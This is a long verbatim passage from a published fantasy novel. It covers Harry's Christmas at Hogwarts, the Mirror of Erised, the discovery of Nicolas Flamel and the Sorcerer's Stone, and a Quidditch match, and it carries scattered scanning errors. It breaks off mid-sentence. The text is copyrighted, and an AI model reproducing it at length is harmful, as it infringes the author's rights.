"Come on, get it +on, they're lovely and warm." + +"I hate maroon," Ron moaned halfheartedly as he pulled it over his head. + +"You haven't got a letter on yours," George observed. "I suppose she +thinks you don't forget your name. But we're not stupid -- we know we're +called Gred and Forge." + +"What's all th is noise. + +Percy Weasley stuck his head through the door, looking disapproving. He +had clearly gotten halfway through unwrapping his presents as he, too, +carried a lumpy sweater over his arm, which + +Fred seized. + +"P for prefect! Get it on, Percy, come on, we're all wearing ours, even +Harry got one." + +"I -- don't -- want said Percy thickly, as the twins forced the sweater +over his head, knocking his glasses askew. + +"And you're not sitting with the prefects today, either," said + +George. "Christmas is a time for family." + +They frog-marched Percy from the room, his arms pinned to his side by +his sweater. + +Harry had never in all his life had such a Christmas dinner. A hundred +fat, roast turkeys; mountains of roast and boiled potatoes; platters of +chipolatas; tureens of buttered peas, silver boats of thick, rich gravy +and cranberry sauce -- and stacks of wizard crackers every few feet +along the table. These fantastic party favors were nothing like the +feeble Muggle ones the Dursleys usually bought, with their little +plastic toys and their flimsy paper hats inside. Harry pulled a wizard +cracker with Fred and it didn't just bang, it went off with a blast like +a cannon and engulfed them all in a cloud of blue smoke, while from the +inside exploded a rear admiral's hat and several live, white mice. Up at +the High Table, Dumbledore had swapped his pointed wizard's hat for a +flowered bonnet, and was chuckling merrily at a joke Professor Flitwick +had just read him. + +Flaming Christmas puddings followed the turkey. Percy nearly broke his +teeth on a silver sickle embedded in his slice. Harry watched Hagrid +getting redder and redder in the face as he called for more wine, +finally kissing Professor McGonagall on the cheek, who, to Harry's +amazement, giggled and blushed, her top hat lopsided. + +When Harry finally left the table, he was laden down with a stack of +things out of the crackers, including a pack of nonexplodable, luminous +balloons, a Grow-Your-Own-Warts kit, and his own new wizard chess set. +The white mice had disappeared and Harry had a nasty feeling they were +going to end up as Mrs. Norris's Christmas dinner. + +Harry and the Weasleys spent a happy afternoon having a furious snowball +fight on the grounds. Then, cold, wet, and gasping for breath, they +returned to the fire in the Gryffindor common room, where Harry broke in +his new chess set by losing spectacularly to Ron. He suspected he +wouldn't have lost so badly if Percy hadn't tried to help him so much. + +After a meal of turkey sandwiches, crumpets, trifle, and Christmas cake, +everyone felt too full and sleepy to do much before bed except sit and +watch Percy chase Fred and George all over Gryffindor tower because +they'd stolen his prefect badge. + +It had been Harry's best Christmas day ever. Yet something had been +nagging at the back of his mind all day. Not until he climbed into bed +was he free to think about it: the invisibility cloak and whoever had +sent it. + +Ron, full of turkey and cake and with nothing mysterious to bother him, +fell asleep almost as soon as he'd drawn the curtains of his +four-poster. Harry leaned over the side of his own bed and pulled the +cloak out from under it. + +His father's... this had been his father's. He let the material flow +over his hands, smoother than silk, light as air. Use it well, the note +had said. + +He had to try it, now. He slipped out of bed and wrapped the cloak +around himself. Looking down at his legs, he saw only moonlight and +shadows. It was a very funny feeling. + +Use it well. + +Suddenly, Harry felt wide-awake. The whole of Hogwarts was open to him +in this cloak. Excitement flooded through him as he stood there in the +dark and silence. He could go anywhere in this, anywhere, and Filch +would never know. + +Ron grunted in his sleep. Should Harry wake him? Something held him back +-- his father's cloak -- he felt that this time -- the first time -- he +wanted to use it alone. + +He crept out of the dormitory, down the stairs, across the common room, +and climbed through the portrait hole. + +"Who's there?" squawked the Fat Lady. Harry said nothing. He walked +quickly down the corridor. + +Where should he go? He stopped, his heart racing, and thought. And then +it came to him. The Restricted Section in the library. He'd be able to +read as long as he liked, as long as it took to find out who Flamel was. +He set off, drawing the invisibility cloak tight around him as he +walked. + +The library was pitch-black and very eerie. Harry lit a lamp to see his +way along the rows of books. The lamp looked as if it was floating along +in midair, and even though Harry could feel his arm supporting it, the +sight gave him the creeps. + +The Restricted Section was right at the back of the library. Step ping +carefully over the rope that separated these books from the rest of the +library, he held up his lamp to read the titles. + +They didn't tell him much. Their peeling, faded gold letters spelled +words in languages Harry couldn't understand. Some had no title at all. +One book had a dark stain on it that looked horribly like blood. The +hairs on the back of Harry's neck prickled. Maybe he was imagining it, +maybe not, but he thought a faint whispering was coming from the books, +as though they knew someone was there who shouldn't be. + +He had to start somewhere. Setting the lamp down carefully on the floor, +he looked along the bottom shelf for an interestinglooking book. A large +black and silver volume caught his eye. He pulled it out with +difficulty, because it was very heavy, and, balancing it on his knee, +let it fall open. + +A piercing, bloodcurdling shriek split the silence -- the book was +screaming! Harry snapped it shut, but the shriek went on and on, one +high, unbroken, earsplitting note. He stumbled backward and knocked over +his lamp, which went out at once. Panicking, he heard footsteps coming +down the corridor outside -- stuffing the shrieking book back on the +shelf, he ran for it. He passed Filch in the doorway; Filch's pale, wild +eyes looked straight through him, and Harry slipped under Filch's +outstretched arm and streaked off up the corridor, the book's shrieks +still ringing in his ears. + +He came to a sudden halt in front of a tall suit of armor. He had been +so busy getting away from the library, he hadn't paid attention to where +he was going. Perhaps because it was dark, he didn't recognize where he +was at all. There was a suit of armor near the kitchens, he knew, but he +must be five floors above there. + +"You asked me to come directly to you, Professor, if anyone was +wandering around at night, and somebody's been in the library Restricted +Section." + +Harry felt the blood drain out of his face. Wherever he was, Filch must +know a shortcut, because his soft, greasy voice was getting nearer, and +to his horror, it was Snape who replied, "The Restricted Section? Well, +they can't be far, we'll catch them." + +Harry stood rooted to the spot as Filch and Snape came around the corner +ahead. They couldn't see him, of course, but it was a narrow corridor +and if they came much nearer they'd knock right into him -- the cloak +didn't stop him from being solid. + +He backed away as quietly as he could. A door stood ajar to his left. It +was his only hope. He squeezed through it, holding his breath, trying +not to move it, and to his relief he managed to get inside the room +without their noticing anything. They walked straight past, and Harry +leaned against the wall, breathing deeply, listening to their footsteps +dying away. That had been close, very close. It was a few seconds before +he noticed anything about the room he had hidden in. + +It looked like an unused classroom. The dark shapes of desks and chairs +were piled against the walls, and there was an upturned wastepaper +basket -- but propped against the wall facing him was something that +didn't look as if it belonged there, something that looked as if someone +had just put it there to keep it out of the way. + +It was a magnificent mirror, as high as the ceiling, with an ornate gold +frame, standing on two clawed feet. There was an inscription carved +around the top: Erised stra ehru oyt ube cafru oyt on wohsi. His panic +fading now that there was no sound of Filch and Snape, Harry moved +nearer to the mirror, wanting to look at himself but see no reflection +again. He stepped in front of it. + +He had to clap his hands to his mouth to stop himself from screaming. He +whirled around. His heart was pounding far more furiously than when the +book had screamed -- for he had seen not only himself in the mirror, but +a whole crowd of people standing right behind him. + +But the room was empty. Breathing very fast, he turned slowly back to +the mirror. + +There he was, reflected in it, white and scared-looking, and there, +reflected behind him, were at least ten others. Harry looked over his +shoulder -- but still, no one was there. Or were they all invisible, +too? Was he in fact in a room full of invisible people and this mirror's +trick was that it reflected them, invisible or not? + +He looked in the mirror again. A woman standing right behind his +reflection was smiling at him and waving. He reached out a hand and felt +the air behind him. If she was really there, he'd touch her, their +reflections were so close together, but he felt only air -- she and the +others existed only in the mirror. + +She was a very pretty woman. She had dark red hair and her eyes -- her +eyes are just like mine, Harry thought, edging a little closer to the +glass. Bright green -- exactly the same shape, but then he noticed that +she was crying; smiling, but crying at the same time. The tall, thin, +black-haired man standing next to her put his arm around her. He wore +glasses, and his hair was very untidy. It stuck up at the back, just as +Harry's did. + +Harry was so close to the mirror now that his nose was nearly touching +that of his reflection. + +"Mom?" he whispered. "Dad?" + +They just looked at him, smiling. And slowly, Harry looked into the +faces of the other people in the mirror, and saw other pairs of green +eyes like his, other noses like his, even a little old man who looked as +though he had Harry's knobbly knees -- Harry was looking at his family, +for the first time in his life. + +The Potters smiled and waved at Harry and he stared hungrily back at +them, his hands pressed flat against the glass as though he was hoping +to fall right through it and reach them. He had a powerful kind of ache +inside him, half joy, half terrible sadness. + +How long he stood there, he didn't know. The reflections did not fade +and he looked and looked until a distant noise brought him back to his +senses. He couldn't stay here, he had to find his way back to bed. He +tore his eyes away from his mother's face, whispered, "I'll come back," +and hurried from the room. + +"You could have woken me up," said Ron, crossly. + +"You can come tonight, I'm going back, I want to show you the mirror. + +"I'd like to see your mom and dad," Ron said eagerly. + +"And I want to see all your family, all the Weasleys, you'll be able to +show me your other brothers and everyone." + +"You can see them any old time," said Ron. "Just come round my house +this summer. Anyway, maybe it only shows dead people. Shame about not +finding Flamel, though. Have some bacon or something, why aren't you +eating anything?" + +Harry couldn't eat. He had seen his parents and would be seeing them +again tonight. He had almost forgotten about Flamel. It didn't seem very +important anymore. Who cared what the three headed dog was guarding? +What did it matter if Snape stole it, really? + +"Are you all right?" said Ron. "You look odd." + +What Harry feared most was that he might not be able to find the mirror +room again. With Ron covered in the cloak, too, they had to walk much +more slowly the next night. They tried retracing Harry's route from the +library, wandering around the dark passageways for nearly an hour. + +"I'm freezing," said Ron. "Let's forget it and go back." + +"No!" Harry hissed. I know it's here somewhere." + +They passed the ghost of a tall witch gliding in the opposite direction, +but saw no one else. just as Ron started moaning that his feet were dead +with cold, Harry spotted the suit of armor. + +"It's here -- just here -- yes!" + +They pushed the door open. Harry dropped the cloak from around his +shoulders and ran to the mirror. + +There they were. His mother and father beamed at the sight of him. + +"See?" Harry whispered. + +"I can't see anything." + +"Look! Look at them all... there are loads of them...." + +"I can only see you." + +"Look in it properly, go on, stand where I am." + +Harry stepped aside, but with Ron in front of the mirror, he couldn't +see his family anymore, just Ron in his paisley pajamas. + +Ron, though, was staring transfixed at his image. + +"Look at me!" he said. + +"Can you see all your family standing around you?" + +"No -- I'm alone -- but I'm different -- I look older -- and I'm head +boy!" + +"What?" + +"I am -- I'm wearing the badge like Bill used to -- and I'm holding the +house cup and the Quidditch cup -- I'm Quidditch captain, too. + +Ron tore his eyes away from this splendid sight to look excitedly at +Harry. + +"Do you think this mirror shows the future?" + +"How can it? All my family are dead -- let me have another look --" + +"You had it to yourself all last night, give me a bit more time." + +"You're only holding the Quidditch cup, what's interesting about that? I +want to see my parents." + +"Don't push me --" + +A sudden noise outside in the corridor put an end to their discussion. +They hadn't realized how loudly they had been talking. + +"Quick!" + +Ron threw the cloak back over them as the luminous eyes of Mrs. Norris +came round the door. Ron and Harry stood quite still, both thinking the +same thing -- did the cloak work on cats? After what seemed an age, she +turned and left. + +"This isn't safe -- she might have gone for Filch, I bet she heard us. +Come on." + +And Ron pulled Harry out of the room. + +The snow still hadn't melted the next morning. + +"Want to play chess, Harry?" said Ron. + +"No." + +"Why don't we go down and visit Hagrid?" + +"No... you go..." + +"I know what you're thinking about, Harry, that mirror. Don't go back +tonight." + +"Why not?" + +"I dunno, I've just got a bad feeling about it -- and anyway, you've had +too many close shaves already. Filch, Snape, and Mrs. Norris are +wandering around. So what if they can't see you? What if they walk into +you? What if you knock something over?" + +"You sound like Hermione." + +"I'm serious, Harry, don't go." + +But Harry only had one thought in his head, which was to get back in +front of the mirror, and Ron wasn't going to stop him. + +That third night he found his way more quickly than before. He was +walking so fast he knew he was making more noise than was wise, but he +didn't meet anyone. + +And there were his mother and father smiling at him again, and one of +his grandfathers nodding happily. Harry sank down to sit on the floor in +front of the mirror. There was nothing to stop him from staying here all +night with his family. Nothing at all. + +Except -- + +"So -- back again, Harry?" + +Harry felt as though his insides had turned to ice. He looked behind +him. Sitting on one of the desks by the wall was none other than Albus +Dumbledore. Harry must have walked straight past him, so desperate to +get to the mirror he hadn't noticed him. + +" -- I didn't see you, sir." + +"Strange how nearsighted being invisible can make you," said Dumbledore, +and Harry was relieved to see that he was smiling. + +"So," said Dumbledore, slipping off the desk to sit on the floor with +Harry, "you, like hundreds before you, have discovered the delights of +the Mirror of Erised." + +"I didn't know it was called that, Sir." + +"But I expect you've realized by now what it does?" + +"It -- well -- it shows me my family --" + +"And it showed your friend Ron himself as head boy." + +"How did you know --?" + +"I don't need a cloak to become invisible," said Dumbledore gently. +"Now, can you think what the Mirror of Erised shows us all?" + +Harry shook his head. + +"Let me explain. The happiest man on earth would be able to use the +Mirror of Erised like a normal mirror, that is, he would look into it +and see himself exactly as he is. Does that help?" + +Harry thought. Then he said slowly, "It shows us what we want... +whatever we want..." + +"Yes and no," said Dumbledore quietly. "It shows us nothing more or less +than the deepest, most desperate desire of our hearts. You, who have +never known your family, see them standing around you. Ronald Weasley, +who has always been overshadowed by his brothers, sees himself standing +alone, the best of all of them. However, this mirror will give us +neither knowledge or truth. Men have wasted away before it, entranced by +what they have seen, or been driven mad, not knowing if what it shows is +real or even possible. + +"The Mirror will be moved to a new home tomorrow, Harry, and I ask you +not to go looking for it again. If you ever do run across it, you will +now be prepared. It does not do to dwell on dreams and forget to live, +remember that. Now, why don't you put that admirable cloak back on and +get off to bed?" + +Harry stood up. + +"Sir -- Professor Dumbledore? Can I ask you something?" + +"Obviously, you've just done so," Dumbledore smiled. "You may ask me one +more thing, however." + +"What do you see when you look in the mirror?" + +"I? I see myself holding a pair of thick, woolen socks." + +Harry stared. + +"One can never have enough socks," said Dumbledore. "Another Christmas +has come and gone and I didn't get a single pair. People will insist on +giving me books." + +It was only when he was back in bed that it struck Harry that Dumbledore +might not have been quite truthful. But then, he thought, as he shoved +Scabbers off his pillow, it had been quite a personal question. + + +CHAPTER THIRTEEN + +NICOLAS FLAMEL + +Dumbledore had convinced Harry not to go looking for the Mirror of +Erised again, and for the rest of the Christmas holidays the +invisibility cloak stayed folded at the bottom of his trunk. Harry +wished he could forget what he'd seen in the mirror as easily, but he +couldn't. He started having nightmares. Over and over again he dreamed +about his parents disappearing in a flash of green light, while a high +voice cackled with laughter. + +"You see, Dumbledore was right, that mirror could drive you mad," said +Ron, when Harry told him about these drearns. + +Hermione, who came back the day before term started, took a different +view of things. She was torn between horror at the idea of Harry being +out of bed, roaming the school three nights in a row ("If Filch had +caught you!"), and disappointment that he hadn't at least found out who +Nicolas Flamel was. + +They had almost given up hope of ever finding Flamel in a li- brary +book, even though Harry was still sure he'd read the name somewhere. +Once term had started, they were back to skimming through books for ten +minutes during their breaks. Harry had even less time than the other +two, because Quidditch practice had started again. + +Wood was working the team harder than ever. Even the endless rain that +had replaced the snow couldn't dampen his spirits. The Weasleys +complained that Wood was becoming a fanatic, but Harry was on Wood's +side. If they won their next match, against Hufflepuff, they would +overtake Slytherin in the house championship for the first time in seven +years. Quite apart from wanting to win, Harry found that he had fewer +nightmares when he was tired out after training. + +Then, during one particularly wet and muddy practice session, Wood gave +the team a bit of bad news. He'd just gotten very angry with the +Weasleys, who kept dive-bombing each other and pretending to fall off +their brooms. + +"Will you stop messing around!" he yelled. "That's exactly the sort of +thing that'll lose us the match! Snape's refereeing this time, and he'll +be looking for any excuse to knock points off Gryffindor!" + +George Weasley really did fall off his broom at these words. + +"Snape's refereeing?" he spluttered through a mouthful of mud. "When's +he ever refereed a Quidditch match? He's not going to be fair if we +might overtake Slytherin." + +The rest of the team landed next to George to complain, too. + +"It's not my fault," said Wood. "We've just got to make sure we play a +clean game, so Snape hasn't got an excuse to pick on us." + +Which was all very well, thought Harry, but he had another reason for +not wanting Snape near him while he was playing Quidditch.... + +The rest of the team hung back to talk to one another as usual at the +end of practice, but Harry headed straight back to the Gryffindor common +room, where he found Ron and Hermione playing chess. Chess was the only +thing Hermione ever lost at, something Harry and Ron thought was very +good for her. + +"Don't talk to me for a moment," said Ron when Harry sat down next to +him, "I need to concen --" He caught sight of Harry's face. "What's the +matter with you? You look terrible." + +Speaking quietly so that no one else would hear, Harry told the other +two about Snape's sudden, sinister desire to be a Quidditch referee. + +"Don't play," said Hermione at once. + +"Say you're ill," said Ron. + +"Pretend to break your leg," Hermione suggested. + +"Really break your leg," said Ron. + +"I can't," said Harry. "There isn't a reserve Seeker. If I back out, +Gryffindor can't play at all." + +At that moment Neville toppled into the common room. How he had managed +to climb through the portrait hole was anyone's guess, because his legs +had been stuck together with what they recognized at once as the +Leg-Locker Curse. He must have had to bunny hop all the way up to +Gryffindor tower. + +Everyone fell over laughing except Hermione, who leapt up and performed +the countercurse. Neville's legs sprang apart and he got to his feet, +trembling. "What happened?" Hermione asked him, leading him over to sit +with Harry and Ron. + +"Malfoy," said Neville shakily. "I met him outside the library. He said +he'd been looking for someone to practice that on." + +"Go to Professor McGonagall!" Hermione urged Neville. "Report him!" + +Neville shook his head. + +"I don't want more trouble," he mumbled. + +"You've got to stand up to him, Neville!" said Ron. "He's used to +walking all over people, but that's no reason to lie down in front of +him and make it easier." + +"There's no need to tell me I'm not brave enough to be in Gryffindor, +Malfoy's already done that," Neville choked out. + +Harry felt in the pocket of his robes and pulled out a Chocolate Frog, +the very last one from the box Hermione had given him for Christmas. He +gave it to Neville, who looked as though he might cry. + +"You're worth twelve of Malfoy," Harry said. "The Sorting Hat chose you +for Gryffindor, didn't it? And where's Malfoy? In stinking Slytherin." + +Neville's lips twitched in a weak smile as he unwrapped the frog. + +"Thanks, Harry... I think I'll go to bed.... D'you want the card, you +collect them, don't you?" + +As Neville walked away, Harry looked at the Famous Wizard card. + +"Dumbledore again," he said, "He was the first one I ever-" + +He gasped. He stared at the back of the card. Then he looked up at Ron +and Hermione. + +"I've found him!" he whispered. "I've found Flamel! I told you I'd read +the name somewhere before, I read it on the train coming here -- listen +to this: 'Dumbledore is particularly famous for his defeat of the dark +wizard Grindelwald in 1945, for the discovery of the twelve uses of +dragon's blood, and his work on alchemy with his partner, Nicolas +Flamel'!" + +Hermione jumped to her feet. She hadn't looked so excited since they'd +gotten back the marks for their very first piece of homework. + +"Stay there!" she said, and she sprinted up the stairs to the girls' +dormitories. Harry and Ron barely had time to exchange mystified looks +before she was dashing back, an enormous old book in her arms. + +"I never thought to look in here!" she whispered excitedly. "I got this +out of the library weeks ago for a bit of light reading." + +"Light?" said Ron, but Hermione told him to be quiet until she'd looked +something up, and started flicking frantically through the pages, +muttering to herself. + +At last she found what she was looking for. + +"I knew it! I knew it!" + +"Are we allowed to speak yet?" said Ron grumpily. Hermione ignored him. + +"Nicolas Flamel," she whispered dramatically, "is the only known maker +of the Sorcerer's Stone!" + +This didn't have quite the effect she'd expected. + +"The what?" said Harry and Ron. + +"Oh, honestly, don't you two read? Look -- read that, there." + +She pushed the book toward them, and Harry and Ron read: The ancient +study of alchemy is concerned with making the Sorcerer's Stone, a +legendary substance with astonishing powers. The stone will transform +any metal into pure gold. It also produces the Elixir of Life, which +will make the drinker immortal. + +There have been many reports of the Sorcerer's Stone over the centuries, +but the only Stone currently in existence belongs to Mr. Nicolas Flamel, +the noted alchemist and opera lover. Mr. Flamel, who celebrated his six +hundred and sixty-fifth birthday last year, enjoys a quiet life in Devon +with his wife, Perenelle (six hundred and fifty-eight). + +"See?" said Hermione, when Harry and Ron had finished. "The dog must be +guarding Flamel's Sorcerer's Stone! I bet he asked Dumbledore to keep it +safe for him, because they're friends and he knew someone was after it, +that's why he wanted the Stone moved out of Gringotts!" + +"A stone that makes gold and stops you from ever dying!" said Harry. "No +wonder Snape's after it! Anyone would want it." + +"And no wonder we couldn't find Flamel in that Study of Recent +Developments in Wizardry," said Ron. "He's not exactly recent if he's +six hundred and sixty-five, is he?" + +The next morning in Defense Against the Dark Arts, while copying down +different ways of treating werewolf bites, Harry and Ron were still +discussing what they'd do with a Sorcerer's Stone if they had one. It +wasn't until Ron said he'd buy his own Quidditch team that Harry +remembered about Snape and the coming match. + +"I'm going to play," he told Ron and Hermione. "If I don't, all the +Slytherins will think I'm just too scared to face Snape. I'll show +them... it'll really wipe the smiles off their faces if we win." + +"Just as long as we're not wiping you off the field," said Hermione. + +As the match drew nearer, however, Harry became more and more nervous, +whatever he told Ron and Hermione. The rest of the team wasn't too calm, +either. The idea of overtaking Slytherin in the house championship was +wonderful, no one had done it for seven years, but would they be allowed +to, with such a biased referee? + +Harry didn't know whether he was imagining it or not, but he seemed to +keep running into Snape wherever he went. At times, he even wondered +whether Snape was following him, trying to catch him on his own. Potions +lessons were turning into a sort of weekly torture, Snape was so +horrible to Harry. Could Snape possibly know they'd found out about the +Sorcerer's Stone? Harry didn't see how he could -- yet he sometimes had +the horrible feeling that Snape could read minds. + +Harry knew, when they wished him good luck outside the locker rooms the +next afternoon, that Ron and Hermione were wondering whether they'd ever +see him alive again. This wasn't what you'd call comforting. Harry +hardly heard a word of Wood's pep talk as he pulled on his Quidditch +robes and picked up his Nimbus Two Thousand. + +Ron and Hermione, meanwhile, had found a place in the stands next to +Neville, who couldn't understand why they looked so grim and worried, or +why they had both brought their wands to the match. Little did Harry +know that Ron and Hermione had been secretly practicing the Leg-Locker +Curse. They'd gotten the idea from Malfoy using it on Neville, and were +ready to use it on Snape if he showed any sign of wanting to hurt Harry. + +"Now, don't forget, it's Locomotor Mortis," Hermione muttered as Ron +slipped his wand up his sleeve. + +"I know," Ron snapped. "Don't nag." + +Back in the locker room, Wood had taken Harry aside. + +"Don't want to pressure you, Potter, but if we ever need an early +capture of the Snitch it's now. Finish the game before Snape can favor +Hufflepuff too much." + +"The whole school's out there!" said Fred Weasley, peering out of the +door. "Even -- blimey -- Dumbledore's come to watch!" + +Harry's heart did a somersault. + +"Dumbledore?" he said, dashing to the door to make sure. Fred was right. +There was no mistaking that silver beard. + +Harry could have laughed out loud with relief He was safe. There was +simply no way that Snape would dare to try to hurt him if Dumbledore was +watching. + +Perhaps that was why Snape was looking so angry as the teams marched +onto the field, something that Ron noticed, too. + +"I've never seen Snape look so mean," he told Hermione. "Look -they're +off Ouch!" + +Someone had poked Ron in the back of the head. It was Malfoy. + +"Oh, sorry, Weasley, didn't see you there." + +Malfoy grinned broadly at Crabbe and Goyle. + +"Wonder how long Potter's going to stay on his broom this time? Anyone +want a bet? What about you, Weasley?" + +Ron didn't answer; Snape had just awarded Hufflepuff a penalty because +George Weasley had hit a Bludger at him. Hermione, who had all her +fingers crossed in her lap, was squinting fixedly at Harry, who was +circling the game like a hawk, looking for the Snitch. + +"You know how I think they choose people for the Gryffindor team?" said +Malfoy loudly a few minutes later, as Snape awarded Hufflepuff another +penalty for no reason at all. "It's people they feel sorry for. See, +there's Potter, who's got no parents, then there's the Weasleys, who've +got no money -- you should be on the team, Longbottom, you've got no +brains." + +Neville went bright red but turned in his seat to face Malfoy. + +"I'm worth twelve of you, Malfoy," he stammered. + +Malfoy, Crabbe, and Goyle howled with laughter, but Ron, still not +daring to take his eyes from the game, said, "You tell him, Neville." + +"Longbottom, if brains were gold you'd be poorer than Weasley, and +that's saying something." + +Ron's nerves were already stretched to the breaking point with anxiety +about Harry. + +"I'm warning you, Malfoy -- one more word + +"Ron!" said Hermione suddenly, "Harry --" + +"What? Where?" + +Harry had suddenly gone into a spectacular dive, which drew gasps and +cheers from the crowd. Hermione stood up, her crossed fingers in her +mouth, as Harry streaked toward the ground like a bullet. + +"You're in luck, Weasley, Potter's obviously spotted some money on the +ground!" said Malfoy. + +Ron snapped. Before Malfoy knew what was happening, Ron was on top of +him, wrestling him to the ground. Neville hesitated, then clambered over +the back of his seat to help. + +"Come on, Harry!" Hermione screamed, leaping onto her seat to watch as +Harry sped straight at Snape -- she didn't even notice Malfoy and Ron +rolling around under her seat, or the scuffles and yelps coming from the +whirl of fists that was Neville, Crabbe, and Goyle. + +Up in the air, Snape turned on his broomstick just in time to see +something scarlet shoot past him, missing him by inches -- the next +second, Harry had pulled out of the dive, his arm raised in triumph, the +Snitch clasped in his hand. + +The stands erupted; it had to be a record, no one could ever remember +the Snitch being caught so quickly. + +"Ron! Ron! Where are you? The game's over! Harry's won! We've won! +Gryffindor is in the lead!" shrieked Hermione, dancing up and down on +her seat and hugging Parvati Patil in the row in front. + +Harry jumped off his broom, a foot from the ground. He couldn't believe +it. He'd done it -- the game was over; it had barely lasted five +minutes. As Gryffindors came spilling onto the field, he saw Snape land +nearby, white-faced and tight-lipped -- then Harry felt a hand on his +shoulder and looked up into Dumbledore's smiling face. + +"Well done," said Dumbledore quietly, so that only Harry could hear. +"Nice to see you haven't been brooding about that mirror... been keeping +busy... excellent..." + +Snape spat bitterly on the ground. + +Harry left the locker room alone some time later, to take his Nimbus Two +Thousand back to the broomshed. He couldn't ever remember feeling +happier. He'd really done something to be proud of now -- no one could +say he was just a famous name any more. The evening air had never +smelled so sweet. He walked over the damp grass, reliving the last hour +in his head, which was a happy blur: Gryffindors running to lift him +onto their shoulders; Ron and Hermione in the distance, jumping up and +down, Ron cheering through a heavy nosebleed. + +Harry had reached the shed. He leaned against the wooden door and looked +up at Hogwarts, with its windows glowing red in the setting sun. +Gryffindor in the lead. He'd done it, he'd shown Snape.... + +And speaking of Snape... + +A hooded figure came swiftly down the front steps of the castle. Clearly +not wanting to be seen, it walked as fast as possible toward the +forbidden forest. Harry's victory faded from his mind as he watched. He +recognized the figure's prowling walk. Snape, sneaking into the forest +while everyone else was at dinner -- what was going on? + +Harry jumped back on his Nimbus Two Thousand and took off. Gliding +silently over the castle he saw Snape enter the forest at a run. He +followed. + +The trees were so thick he couldn't see where Snape had gone. He flew in +circles, lower and lower, brushing the top branches of trees until he +heard voices. He glided toward them and landed noiselessly in a towering +beech tree. + +He climbed carefully along one of the branches, holding tight to his +broomstick, trying to see through the leaves. Below, in a shadowy +clearing, stood Snape, but he wasn't alone. Quirrell was there, too. +Harry couldn't make out the look on his face, but he was stuttering +worse than ever. Harry strained to catch what they were saying. + +"... d-don't know why you wanted t-t-to meet here of all p-places, +Severus..." + +"Oh, I thought we'd keep this private," said Snape, his voice icy. +"Students aren't supposed to know about the Sorcerer's Stone, after +all." + +Harry leaned forward. Quirrell was mumbling something. Snape interrupted +him. + +"Have you found out how to get past that beast of Hagrid's yet?" + +"B-b-but Severus, I --" + +"You don't want me as your enemy, Quirrell," said Snape, taking a step +toward him. + +"I-I don't know what you + +"You know perfectly well what I mean." + +An owl hooted loudly, and Harry nearly fell out of the tree. He steadied +himself in time to hear Snape say, "-- your little bit of hocus-pocus. +I'm waiting." + +"B-but I d-d-don't --" + +"Very well," Snape cut in. "We'll have another little chat soon, when +you've had time to think things over and decided where your loyalties +lie." + +He threw his cloak over his head and strode out of the clearing. It was +almost dark now, but Harry could see Quirrell, standing quite still as +though he was petrified. + +"Harry, where have you been?" Hermione squeaked. + +"We won! You won! We won!" shouted Ron, thumping Harry on the back. "And +I gave Malfoy a black eye, and Neville tried to take on Crabbe and Goyle +single-handed! He's still out cold but Madam Pomftey says he'll be all +right - talk about showing Slytherin! Everyone's waiting for you in the +common room, we're having a party, Fred and George stole some cakes and +stuff from the kitchens." + +"Never mind that now," said Harry breathlessly. "Let's find an empty +room, you wait 'til you hear this...." + +He made sure Peeves wasn't inside before shutting the door behind them, +then he told them what he'd seen and heard. + +"So we were right, it is the Sorcerer's Stone, and Snape's trying to +force Quirrell to help him get it. He asked if he knew how to get past +Fluffy - and he said something about Quirrell's 'hocus pocuss-- I reckon +there are other things guarding the stone apart from Fluffy, loads of +enchantments, probably, and Quirrell would have done some anti-Dark Arts +spell that Snape needs to break through --" + +"So you mean the Stone's only safe as long as Quirrell stands up to +Snape?" said Hermione in alarm. + +"It'll be gone by next Tuesday," said Ron. + + +CHAPTER FOURTEEN + +NORBERT THE NORWEGIAN RIDGEBACK + +Quirrell, however, must have been braver than they'd thought. In the +weeks that followed he did seem to be getting paler and thinner, but it +didn't look as though he'd cracked yet. + +Every time they passed the third-floor corridor, Harry, Ron, and +Hermione would press their ears to the door to check that Fluffy was +still growling inside. Snape was sweeping about in his usual bad temper, +which surely meant that the Stone was still safe. Whenever Harry passed +Quirrell these days he gave him an encouraging sort of smile, and Ron +had started telling people off for laughing at Quirrell's stutter. + +Hermione, however, had more on her mind than the Sorcerer's Stone. She +had started drawing up study schedules and colorcoding all her notes. +Harry and Ron wouldn't have minded, but she kept nagging them to do the +same. + +"Hermione, the exams are ages away." + +"Ten weeks," Hermione snapped. "That's not ages, that's like a second to +Nicolas Flamel." + +"But we're not six hundred years old," Ron reminded her. "Anyway, what +are you studying for, you already know it A." + +"What am I studying for? Are you crazy? You realize we need to pass +these exams to get into the second year? They're very important, I +should have started studying a month ago, I don't know what's gotten +into me...." + +Unfortunately, the teachers seemed to be thinking along the same lines +as Hermione. They piled so much homework on them that the Easter +holidays weren't nearly as much fun as the Christmas ones. It was hard +to relax with Hermione next to you reciting the twelve uses of dragon's +blood or practicing wand movements. Moaning and yawning, Harry and Ron +spent most of their free time in the library with her, trying to get +through all their extra work. + +"I'll never remember this," Ron burst out one afternoon, throwing down +his quill and looking longingly out of the library window. It was the +first really fine day they'd had in months. The sky was a clear, +forget-me-not blue, and there was a feeling in the air of summer coming. + +Harry, who was looking up "Dittany" in One Thousand Magical Herbs and +Fungi, didn't look up until he heard Ron say, "Hagrid! What are you +doing in the library?" + +Hagrid shuffled into view, hiding something behind his back. He looked +very out of place in his moleskin overcoat. + +"Jus' lookin'," he said, in a shifty voice that got their interest at +once. "An' what're you lot up ter?" He looked suddenly suspicious. "Yer +not still lookin' fer Nicolas Flamel, are yeh?" "Oh, we found out who he +is ages ago," said Ron impressively. "And we know what that dog's +guarding, it's a Sorcerer's St --" + +"Shhhh!" Hagrid looked around quickly to see if anyone was listening. +"Don' go shoutin' about it, what's the matter with yeh?" + +"There are a few things we wanted to ask you, as a matter of fact," said +Harry, "about what's guarding the Stone apart from Fluffy --" + +"SHHHH!" said Hagrid again. "Listen - come an' see me later, I'm not +promisin' I'll tell yeh anythin', mind, but don' go rabbitin' about it +in here, students aren' s'pposed ter know. They'll think I've told yeh +--" + +"See you later, then," said Harry. + +Hagrid shuffled off. + +"What was he hiding behind his back?" said Hermione thoughtfully. + +"Do you think it had anything to do with the Stone?" + +"I'm going to see what section he was in," said Ron, who'd had enough of +working. He came back a minute later with a pile of books in his arms +and slammed them down on the table. + +"Dragons!" he whispered. "Hagrid was looking up stuff about dragons! +Look at these: Dragon Species of Great Britain and Ireland; From Egg to +Inferno, A Dragon Keeper's Guide." + +"Hagrid's always wanted a dragon, he told me so the first time I ever +met him, " said Harry. + +"But it's against our laws," said Ron. "Dragon breeding was outlawed by +the Warlocks' Convention of 1709, everyone knows that. It's hard to stop +Muggles from noticing us if we're keeping dragons in the 